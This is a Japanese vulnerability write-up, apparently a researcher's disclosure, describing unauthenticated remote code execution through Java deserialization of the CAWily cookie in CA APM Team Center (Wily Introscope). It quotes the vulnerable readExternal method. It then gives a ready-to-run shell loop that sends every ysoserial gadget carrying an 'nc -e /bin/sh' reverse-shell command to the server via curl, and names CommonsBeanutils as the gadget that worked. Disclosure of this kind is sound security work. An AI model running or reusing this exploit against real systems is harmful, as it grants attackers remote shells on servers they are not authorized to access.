
CA APM Team Center (Wily Introscope) におけるリモートコード実行
CA APM Team Center(Wily Introscope)におけるリモートコード実行。
CA APM Team Centerのデシリアライゼーションの脆弱性により、認証なしでサーバ上でリモートコード実行が可能になります。
サーバに認証する際、悪名高い rO0 文字列で始まるクッキーが返されます。これはBase64エンコードされたシリアライズオブジェクトを示しています:

問題を静的に完全に追跡したわけではありませんが、おそらくこれが脆弱なコードです:
public class HttpRequestHeaderInfo implements Externalizable {
public void readExternal(ObjectInput in) throws IOException, ClassNotFoundException {
in.readInt();
int numMapEntries = in.readInt();
this.fRequestParameterMap = (numMapEntries == 0) ? Collections.EMPTY_MAP : new HashMap(numMapEntries);
for (int i = 0; i < numMapEntries; i++) {
this.fRequestParameterMap.put(in.readUTF(), in.readObject());
}
int numCookies = in.readInt();
this.fCookies = (numCookies == 0) ? kNoCookies : new Cookie[numCookies];
for (int j = 0; j < this.fCookies.length; j++) {
this.fCookies[j] = new Cookie((String)in.readObject(), (String)in.readObject());
}
}
}
パラメータマップとクッキーが、ユーザー入力から readObject() を使用してデシリアライズされていることに注意してください。
これは、forループで適切なガジェットを特定することで容易に悪用できます:
for gadget in AspectJWeaver BeanShell1 C3P0 Click1 Clojure CommonsBeanutils1 CommonsCollections1 CommonsCollections2 CommonsCollections3 CommonsCollections4 CommonsCollections5 CommonsCollections6 CommonsCollections7 FileUpload1 Groovy1 Hibernate1 Hibernate2 JBossInterceptors1 JRMPClient JRMPListener JSON1 JavassistWeld1 Jdk7u21 Jython1 MozillaRhino1 MozillaRhino2 Myfaces1 Myfaces2 ROME Spring1 Spring2 URLDNS Vaadin1 Wicket1
do
java -jar ./ysoserial-0.0.6-SNAPSHOT-all.jar $gadget "nc -e /bin/sh ..." | base64 -w0 > cookie
payload=$(cat cookie)
curl -s -k 'https://remoteserver/' -X POST -H "Cookie: CAWily=$payload"
done
私がリモートコード実行を達成できた唯一のペイロードはCommonsBeanutilsでした。埋め込まれているJARは org.apache.commons_beanutils_1.9.2.1.jar であり、Mavenリポジトリによれば、確かに脆弱なガジェットが含まれています。
ヘッダーを再確認するように促してくれた特別な方への感謝の意を表します。